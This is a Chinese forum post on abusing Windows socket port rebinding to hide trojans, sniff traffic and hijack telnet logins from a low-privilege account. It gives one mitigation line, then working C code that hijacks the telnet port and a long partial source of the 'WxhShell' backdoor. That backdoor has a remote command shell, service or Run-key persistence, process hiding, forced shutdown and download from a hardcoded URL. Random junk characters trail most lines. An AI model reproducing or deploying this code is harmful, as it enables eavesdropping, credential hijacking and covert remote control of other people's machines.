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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ""D rf=]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F xFK  
,~K_rNNZ  
  saddr.sin_family = AF_INET; ?jw)%{iKYV  
Z> QSZ48=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A40 -])'!  
PG<N\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =eac,]31  
Uw61X>y=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sf\;|`}  
.%->   
  这意味着什么?意味着可以进行如下的攻击: NXeo&+F  
TM!R[-\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Vz 5:73  
1b6gTfU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e-qr d  
pe,c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dmlh;Z  
fbw {)SZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [n74&EH  
+Ya-h~7;g#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lS?f?n^  
aE,x>I 7 D  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5R"b1  
u8o7J(aQsR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F,:F9r?l,H  
 .)cOu>  
  #include "g=ux^+X\  
  #include w_U5w  
  #include t9K.Jc0  
  #include    ,{oP`4\Lm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Do_L  
  int main() FswFY7 8  
  { `gss(o1}  
  WORD wVersionRequested; uxh4nyE  
  DWORD ret; n]j(tP  
  WSADATA wsaData; B=Zo0 p^  
  BOOL val; 'HqAm$V+  
  SOCKADDR_IN saddr; S0 yPg9v  
  SOCKADDR_IN scaddr; n Isi  
  int err; ZV Gw@3  
  SOCKET s; x_@ev-  
  SOCKET sc; } KMdfA  
  int caddsize; qQ1m5_OD`z  
  HANDLE mt; *Lh0E/5  
  DWORD tid;   Hb]7>[L  
  wVersionRequested = MAKEWORD( 2, 2 ); d!gm4hQhl  
  err = WSAStartup( wVersionRequested, &wsaData ); oO UVU}H  
  if ( err != 0 ) { %^5$=w  
  printf("error!WSAStartup failed!\n"); #%{\59/w  
  return -1; r?[mn^Bo5  
  } L>L4%?  
  saddr.sin_family = AF_INET; g{D&|qWj  
   Eui;2P~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NK4ven7/  
=riP~%_ML)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [p7le8=  
  saddr.sin_port = htons(23); DC$ S. {n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _ssHRbE  
  { l y%**iN  
  printf("error!socket failed!\n"); w{r ->Phe  
  return -1; sO  
  } W*s`1O>  
  val = TRUE; 9|e"n|[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4kz8U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \hq8/6=4s  
  { Q3/q%#q>  
  printf("error!setsockopt failed!\n"); ad~ qr n\  
  return -1; , m\0IgZdz  
  }  JA)gM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f,-|"_5;   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yf8UfB#a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,U tw!]  
zHU#Jjc_b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <.' cCY  
  { C= m Y  
  ret=GetLastError(); ,yqzk.  
  printf("error!bind failed!\n"); WR-C_1-pT  
  return -1; jQr~@15J#  
  } ?I0 i%nH  
  listen(s,2); BJq}1mn*  
  while(1) 2l SM`cw  
  { ,C&>mv xA  
  caddsize = sizeof(scaddr); .;F+ QP0  
  //接受连接请求 |HU qqlf  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Dsua13 hF  
  if(sc!=INVALID_SOCKET) xWwPrd  
  { &59#$LyH`%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6nfkZvn  
  if(mt==NULL) :^s7#4%6  
  { ?.A|Fy^  
  printf("Thread Creat Failed!\n"); __fR #D  
  break; "^= [*i  
  } d-<y'GYw  
  } Fa!)$eb7  
  CloseHandle(mt); 0oJ^a^|  
  } 0V#t ;`Q3  
  closesocket(s); /T(\}Z  
  WSACleanup(); w.Vynb  
  return 0; 9v F2aLPk  
  }   5Hm!5:ZB  
  DWORD WINAPI ClientThread(LPVOID lpParam) ._&lG3'  
  { >a7(A#3@d  
  SOCKET ss = (SOCKET)lpParam; 7 h1"8#X  
  SOCKET sc; H|)1T-%  
  unsigned char buf[4096]; mCt>s9a)H  
  SOCKADDR_IN saddr; h3lDDyu  
  long num; ye|a#a9N  
  DWORD val; Y+ Z9IiS7  
  DWORD ret; !:<UgbiVv  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8T)zB6ng  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   AMd)d^;  
  saddr.sin_family = AF_INET; T{<@MK%],d  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hcgc =$^  
  saddr.sin_port = htons(23); )h0E$*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !"J#,e|  
  { V*zz- 2 _i  
  printf("error!socket failed!\n"); F!&pENQ  
  return -1; d `kM0C  
  } _qeuVi=A  
  val = 100; H~|%vjH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bez'[Y{  
  { R-Q1YHUQM  
  ret = GetLastError(); vif8 {S  
  return -1; e4Ox`gLa*p  
  } %i-lx`U  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o~x39  
  { vaRwh E:  
  ret = GetLastError(); >I& jurU#  
  return -1; As+;qNO  
  } =*g$#l4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |R;l5ZKvV  
  { +&7Kk9^  
  printf("error!socket connect failed!\n"); `8(h,aj;  
  closesocket(sc); !p,hy `  
  closesocket(ss);  oKYhE  
  return -1; hOB\n!  
  } VS9]p o>=  
  while(1) qggk:cN1  
  { rocB"0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `(,*IK a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8pPC 9ew\=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ``$%L=_m  
  num = recv(ss,buf,4096,0); Q)Iv_N/  
  if(num>0)  @yt 2_  
  send(sc,buf,num,0); bEBBwv  
  else if(num==0) R3j#WgltP  
  break; zr.+'  
  num = recv(sc,buf,4096,0); E69:bQ94u  
  if(num>0) 5@czK*5  
  send(ss,buf,num,0); Jq$_=X&  
  else if(num==0) +YkW[a\4  
  break; i_=?eUq%q/  
  } F#1 Kk#t  
  closesocket(ss); 1l+kO,X]  
  closesocket(sc); Z'Exw-ca  
  return 0 ; ACigeK^C}E  
  } d&|z=%9xl  
v7;J%9=0D`  
;%u_ ;,((  
========================================================== Dxt),4 %P  
+Y>"/i. N  
下边附上一个代码,,WXhSHELL [eNkU">}  
|rHG%VnBH  
========================================================== u>}w-  
U g}8y8  
#include "stdafx.h" !/Iq{2LX  
P +dA~2k  
#include <stdio.h> Y=vVxVI\  
#include <string.h> B;Xoa,  
#include <windows.h> I tI0x  
#include <winsock2.h> &8<<!#ob  
#include <winsvc.h> YDQ:eebg(  
#include <urlmon.h> gA~20LSt  
K(nS$x1G  
#pragma comment (lib, "Ws2_32.lib") C4QeDvpI  
#pragma comment (lib, "urlmon.lib") >4n+PXRXX  
;rB6u_5"I.  
#define MAX_USER   100 // 最大客户端连接数 jR{-  
#define BUF_SOCK   200 // sock buffer Rx6l|'e  
#define KEY_BUFF   255 // 输入 buffer TB7>s~)47E  
gq'>6vOj  
#define REBOOT     0   // 重启 v B h;  
#define SHUTDOWN   1   // 关机 Go>wo/Sb  
DR:8oo&E  
#define DEF_PORT   5000 // 监听端口 fdlvn*H  
D \N \BD  
#define REG_LEN     16   // 注册表键长度 3k#[(phk  
#define SVC_LEN     80   // NT服务名长度 sl/=g   
z Yw;q3"  
// 从dll定义API Z_H?WGO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @#RuSc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NO-k-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 10wvfRhng  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q7X}MAW  
`|$'g^eCL  
// wxhshell配置信息 {5^K Xj$B  
struct WSCFG { \6{krn|  
  int ws_port;         // 监听端口 qysTjGwa]  
  char ws_passstr[REG_LEN]; // 口令 iI5+P`sE&J  
  int ws_autoins;       // 安装标记, 1=yes 0=no f UC9-?(K  
  char ws_regname[REG_LEN]; // 注册表键名 L0rip5[;d  
  char ws_svcname[REG_LEN]; // 服务名 ;{vwBDV!'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lT8#bA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3&'2aW   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <W>++< -  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *7ZGq(O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dj'm, k b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,7GWB:Sk  
gtiEhCF2W  
}; qv[[Q[RK-5  
$ +;+:K  
// default Wxhshell configuration /;?M?o"H  
struct WSCFG wscfg={DEF_PORT, Xka<I3UD5  
    "xuhuanlingzhe", U@G"`RYl  
    1, 5?WYsj"  
    "Wxhshell", *G9sy_  
    "Wxhshell", xwRhs!`t1  
            "WxhShell Service", =#qZ3 Qz_  
    "Wrsky Windows CmdShell Service", |0`hE;Kt7  
    "Please Input Your Password: ", C5xag#Z1  
  1, zuSq+px L@  
  "http://www.wrsky.com/wxhshell.exe", R}8XRe  
  "Wxhshell.exe" Wf#VA;d  
    }; _;56^1'T  
$ a?  
// 消息定义模块 e}'gvm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ohUdGO[/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :ygWNK[ 6D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >ys[I0bo  
char *msg_ws_ext="\n\rExit."; EIjI!0j  
char *msg_ws_end="\n\rQuit."; bLzs?eos  
char *msg_ws_boot="\n\rReboot..."; Mi+H#xx16  
char *msg_ws_poff="\n\rShutdown..."; 0Vkl`DmeM.  
char *msg_ws_down="\n\rSave to "; e  ^Ds  
]hA,LY f  
char *msg_ws_err="\n\rErr!"; LxLy+yC#p  
char *msg_ws_ok="\n\rOK!"; !\FkG8  
+oI3I~  
char ExeFile[MAX_PATH]; F]UQuOR)  
int nUser = 0; ';0 qj$ #  
HANDLE handles[MAX_USER]; j9d!yW  
int OsIsNt; >I}9LyZt  
@@@=}!<H=  
SERVICE_STATUS       serviceStatus; =pcF:D#+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &?0:v`4Y  
s,6`RI%  
// 函数声明 y}FZD?"  
int Install(void); )KE [!ofD  
int Uninstall(void); Z:*@5  
int DownloadFile(char *sURL, SOCKET wsh); j%L&jH 6@  
int Boot(int flag); fmfTSN(Q~`  
void HideProc(void); VIC0}LT0R  
int GetOsVer(void); `0ZZ/] !L  
int Wxhshell(SOCKET wsl); K*q[(,9  
void TalkWithClient(void *cs); .Da'pOe  
int CmdShell(SOCKET sock); Rx7X_A}  
int StartFromService(void); V8WFQdXc  
int StartWxhshell(LPSTR lpCmdLine); oRM)% N#  
Yw'NX5#)g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ).5RPAP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Df4+^B,1  
5!I4l1  
// 数据结构和表定义 J NVr  
SERVICE_TABLE_ENTRY DispatchTable[] = lhH`dG D  
{ a2w T6jY  
{wscfg.ws_svcname, NTServiceMain}, Ml?~ |_  
{NULL, NULL} j'?7D0>  
}; #*9-d/K  
.B72C[' c  
// 自我安装 hB9Ee@  
int Install(void) .pPm~2]z  
{ R!(ZMRMn  
  char svExeFile[MAX_PATH]; >(r{7Qg  
  HKEY key; sa1h%<   
  strcpy(svExeFile,ExeFile); {D`'0Z1"  
HDVW0QaMu  
// 如果是win9x系统,修改注册表设为自启动 Z(u5$<up  
if(!OsIsNt) { :O-iykXyI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :kMHRm@{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x YfD()w<I  
  RegCloseKey(key); #m<tJnEO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &<y2q/U}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fX~'Zk\u  
  RegCloseKey(key); 31WC=ur5  
  return 0; Vw tZLP36  
    } ^T5X)Nu{=C  
  } h6_(?|:-(  
} 69m ;XdkKz  
else { m8R9{LC  
JL=U,Mr6  
// 如果是NT以上系统,安装为系统服务 bWWXc[O2&(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %FZ2xyI.  
if (schSCManager!=0)  6e,xDr  
{ .IarkeCtb  
  SC_HANDLE schService = CreateService ({s6eqMhDd  
  ( S4UM|`  
  schSCManager, '1?\/,em  
  wscfg.ws_svcname, 1'.7_EQ4T  
  wscfg.ws_svcdisp, i;/xK=L  
  SERVICE_ALL_ACCESS, g.py+ ZFJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [XVEBA4GI  
  SERVICE_AUTO_START, QaIjLc~W  
  SERVICE_ERROR_NORMAL, _"@CGXu  
  svExeFile, `x8J  
  NULL, 'e)^m}:?D  
  NULL, j/`94'Y  
  NULL, dU)]:>Uz  
  NULL, v+ 7kU=  
  NULL #:jb*d?  
  ); >Fio;cn?  
  if (schService!=0) 54lu2gD'  
  { mw$r$C{  
  CloseServiceHandle(schService); 7?j;7.i s(  
  CloseServiceHandle(schSCManager); IU FH:w]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N`@NiJ(O;  
  strcat(svExeFile,wscfg.ws_svcname); :W#rhuzC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >F1kR\!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (jjTK'0[  
  RegCloseKey(key); {7u[1[L1  
  return 0; "@R>J ?Cc+  
    } )J]9 lW&y  
  } 2H71~~ c  
  CloseServiceHandle(schSCManager); KmG  
} T>TWU:  
} q6Rr.A  
,.iRnR  
return 1; o[oM8o<  
} m!<i0thJ  
m>USD? i  
// 自我卸载 >~%e$a7}+  
int Uninstall(void) +#U|skl  
{ &Z(K6U#.  
  HKEY key; **9x?s  
F+R?a+e  
if(!OsIsNt) { ^;!0j9"* :  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :B3[:MpL}  
  RegDeleteValue(key,wscfg.ws_regname); -;f*VM.a  
  RegCloseKey(key); FZjHw_pP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *eI)Z=8  
  RegDeleteValue(key,wscfg.ws_regname); [Wd-Zn%  
  RegCloseKey(key); ]Chj T}  
  return 0; rX_@Ihv'  
  } X%z }VA  
} +$4(zP s@  
} L,y6^J!  
else { {{V8;y  
! cKz7?w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =q N2Xg/  
if (schSCManager!=0) rpeJkG@+  
{ SJD@&m%?[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9T#;,{VQ  
  if (schService!=0) P96pm6H_;  
  {  _zlqtO  
  if(DeleteService(schService)!=0) { zvABU+{jD  
  CloseServiceHandle(schService); BA\/YW @  
  CloseServiceHandle(schSCManager); u]}s)SmDk  
  return 0; l/;X?g5+  
  } n]8<DX99Q0  
  CloseServiceHandle(schService); W3`>8v1?o  
  } zJe#m|Z  
  CloseServiceHandle(schSCManager); f{SB1M   
} @`\VBW  
} (&/2\0QV  
}VDqj}is  
return 1; wFG3KzEq ~  
} U(~+o  
&-(463  
// 从指定url下载文件 3?Y2L  
int DownloadFile(char *sURL, SOCKET wsh) 9x,RvWTb  
{  >S$Z  
  HRESULT hr; ss;R8:5  
char seps[]= "/"; xsWur(>]  
char *token; 5 ae2<Y=  
char *file; F~A'X  
char myURL[MAX_PATH]; [O: !(G je  
char myFILE[MAX_PATH]; t_mIOm)S%  
y:v,j42%  
strcpy(myURL,sURL); ySI~{YVM  
  token=strtok(myURL,seps); 9 \^|6k,  
  while(token!=NULL) Mq';S^  
  { AwQ?l(iZ"p  
    file=token; % ,+leKs  
  token=strtok(NULL,seps); bn |zl!Pq  
  } oK 6(HF'&  
f/CuE%7BR  
GetCurrentDirectory(MAX_PATH,myFILE); 4CGPO c  
strcat(myFILE, "\\"); ^eW}XRI  
strcat(myFILE, file); yf&7P;A  
  send(wsh,myFILE,strlen(myFILE),0); !^Q.VYY  
send(wsh,"...",3,0); @&[T _l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /x3/Ubmz~x  
  if(hr==S_OK) l<M'=-Y  
return 0; bH"hX  
else {BKl`1z  
return 1; j0@[Br%7  
IIy~[4dW  
} ~'R(2[L!;  
$s<Ne{?  
// 系统电源模块 McPNB`.H  
int Boot(int flag) y8fsveX  
{ ;5@  t[r  
  HANDLE hToken; &+G"k~%  
  TOKEN_PRIVILEGES tkp; qKJSj   
Y!;|ld  
  if(OsIsNt) { |!y A@y?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4H@Wc^K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |HZTN"  
    tkp.PrivilegeCount = 1; pmX#E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9cJH"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  ? w^-  
if(flag==REBOOT) {  & y<ZE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jsNF#yE>  
  return 0; Wh&8pH:  
} L/"0ws_  
else { o/ui)U_   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y#g4$"G9  
  return 0; \W%UZs  
} u ElAnrm  
  } '= l[;Q^Q  
  else { < })'Y~i  
if(flag==REBOOT) { 7 [g/TB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P6MRd/y |  
  return 0; NKQOUw:qn  
} hR.@b*q?R  
else { L<fvKmo(fw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JgHM?AWg|  
  return 0; .Lfo)?zG  
} Mg^e3D1_  
} Y"KE7>Jf  
umdG(osR  
return 1; T~b>B`_  
} 29reG,>  
Q[#vTB$f  
// win9x进程隐藏模块 KM`eIw>8  
void HideProc(void) }2ZsHM^]%  
{ Ko^c|}mh*!  
Vx @|O%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <x!GE>sf+  
  if ( hKernel != NULL ) UUMtyf  
  { itzyCw2|#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <7Ae-!>x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IJ/sX_k  
    FreeLibrary(hKernel); e${)w-R/e  
  } }W ^: cp  
(!:cen~|[  
return; )Z %T27r,^  
} JAI)Eqqv]  
 aH#l9kCb  
// 获取操作系统版本 bMU(?hb  
int GetOsVer(void) Rar"B*b;$  
{ 7==f\%,  
  OSVERSIONINFO winfo; N~F RM& x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a<fUI%_  
  GetVersionEx(&winfo); 8#Q$zLK42N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Oez>X=Xf  
  return 1; 5y?-fT]X  
  else &hk-1y9QS  
  return 0; [}fv  dW  
} n3sUbs;  
Q~Z=(rP20  
// 客户端句柄模块 Vrvic4  
int Wxhshell(SOCKET wsl) 5[Pr|AY  
{ l{D'uI[&  
  SOCKET wsh; M2U&?V C!  
  struct sockaddr_in client; ;}'D16`j  
  DWORD myID; *cO sv  
j+HHQd7Y  
  while(nUser<MAX_USER) L;od6<.*m  
{ @&}q} D  
  int nSize=sizeof(client); Vi$-Bw$@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (< =}]v  
  if(wsh==INVALID_SOCKET) return 1; 07hF2[i  
~ Uo)0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]Ta N{"  
if(handles[nUser]==0) K!KMQr`  
  closesocket(wsh); n!qV>k9Y  
else \.g\Zib )  
  nUser++; )>c>oMgl  
  }  kQ   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^OErq&`u  
"HXYNS>  
  return 0; Dnc<sd;  
} xGI, Lk+  
?@n/v F  
// 关闭 socket 6_4D9 W  
void CloseIt(SOCKET wsh) K x~|jq  
{ i9=&;_z  
closesocket(wsh); $O^v]>h  
nUser--; ./$cMaDJ  
ExitThread(0); fJWC)E  
} C XHy.&Vt  
*x) 8fAr  
// 客户端请求句柄 TW^/sx  
void TalkWithClient(void *cs) Lq>&d,F06)  
{ z.rh]Zq  
rL5z]RY  
  SOCKET wsh=(SOCKET)cs; t5lO'Ll*Q]  
  char pwd[SVC_LEN]; C^ )*Dsp  
  char cmd[KEY_BUFF]; (os$B  
char chr[1]; zuJtpMn  
int i,j; YA&g$!  
> 0<)=  
  while (nUser < MAX_USER) { CZbYAxNl  
:EHJ\+kejX  
if(wscfg.ws_passstr) { N&[D>G]>v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |_ G )qp;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RV&^g*;E  
  //ZeroMemory(pwd,KEY_BUFF); boo }u  
      i=0; {$ep7;'d  
  while(i<SVC_LEN) { `f'K@  
K|oacOF9  
  // 设置超时 @2*]"/)*0  
  fd_set FdRead; FCkf#  
  struct timeval TimeOut; Y-0?a?q2Fr  
  FD_ZERO(&FdRead); g&n)fF  
  FD_SET(wsh,&FdRead); t&9A ]<n%,  
  TimeOut.tv_sec=8; \RVW  
  TimeOut.tv_usec=0; nbG/c80  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @X3{x\i'I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D13Rx 6b  
rcGb[=Bf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2[gFkyqe  
  pwd=chr[0];  ykrr2x  
  if(chr[0]==0xd || chr[0]==0xa) { @JW@-9/  
  pwd=0; 4ikdM/  
  break; "YB** Y  
  } ?3O9eZY@  
  i++; C4}*) a  
    } YSaJeU>@  
D/=5tOy  
  // 如果是非法用户,关闭 socket mR;qMX)0h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +x1eJug4  
} Tz9`uW~Mf  
\(">K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  {Ha8]y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KzQ3.)/q  
3~#h|?  
while(1) { =~I-]4  
IuZ) [*W  
  ZeroMemory(cmd,KEY_BUFF); c"n ?'e  
mYc.x  
      // 自动支持客户端 telnet标准   DD44"w_9  
  j=0; s[gKc'  
  while(j<KEY_BUFF) { phE &7*!Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FW"^99mrnb  
  cmd[j]=chr[0]; "6a8s;  
  if(chr[0]==0xa || chr[0]==0xd) { W(hMft%  
  cmd[j]=0; vLxQ *50v$  
  break; r",]Voibd  
  } c/ 5W4_J  
  j++; xm6EKp:  
    } F:#J:x'  
oDcKtB+2  
  // 下载文件 ?:Y#Tbi3  
  if(strstr(cmd,"http://")) { S!{t6'8K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8?Z4-6!{V,  
  if(DownloadFile(cmd,wsh)) +w8R!jdA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x3rlJs`$;  
  else 8t=(,^c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _ %%Z6x(  
  } *6 U&Qy-M  
  else { IHp_A  
I!wX[4p eg  
    switch(cmd[0]) { <58l;<0  
  {NJfNu  
  // 帮助 Ix|~f1*%  
  case '?': { '$ef+@y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qOaQxRYm%Y  
    break; kcDyuM`  
  } FWC5&tM  
  // 安装 P_u|-~|\  
  case 'i': { B4XZko(  
    if(Install())  d^(1TNS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [j4v]PE  
    else Eq:2k)BE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oQ=>'w  
    break; 3 DaQo0N  
    } =_]2&(?  
  // 卸载 "S&%w8V  
  case 'r': { >]=j'+]  
    if(Uninstall()) *;|`E(   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0hZ1rqq8C  
    else g=T/_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C[WCg9Av  
    break; _j>;ipTb+  
    } +}Av-47`h  
  // 显示 wxhshell 所在路径 aiCn"j  
  case 'p': { 1 qi@uYDug  
    char svExeFile[MAX_PATH]; p h[\)  
    strcpy(svExeFile,"\n\r"); ]xd^%q*  
      strcat(svExeFile,ExeFile); u =gt<1U  
        send(wsh,svExeFile,strlen(svExeFile),0); 1b9hE9a{j  
    break; 6bBdIqGb}  
    } E0oU$IB  
  // 重启 rd3j1U  
  case 'b': { N -w(e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Npn=cLC&  
    if(Boot(REBOOT)) H.G!A6bd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KLC{7"6e)  
    else { TzBzEiANn  
    closesocket(wsh); 2l5KJlfj>k  
    ExitThread(0); c<#<k}y  
    } \M]-bw`  
    break; ^Y{D^\} ,  
    } *V(Fn-6(  
  // 关机 ^zEE6i  
  case 'd': { 7~M<cD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eo^/c +FG  
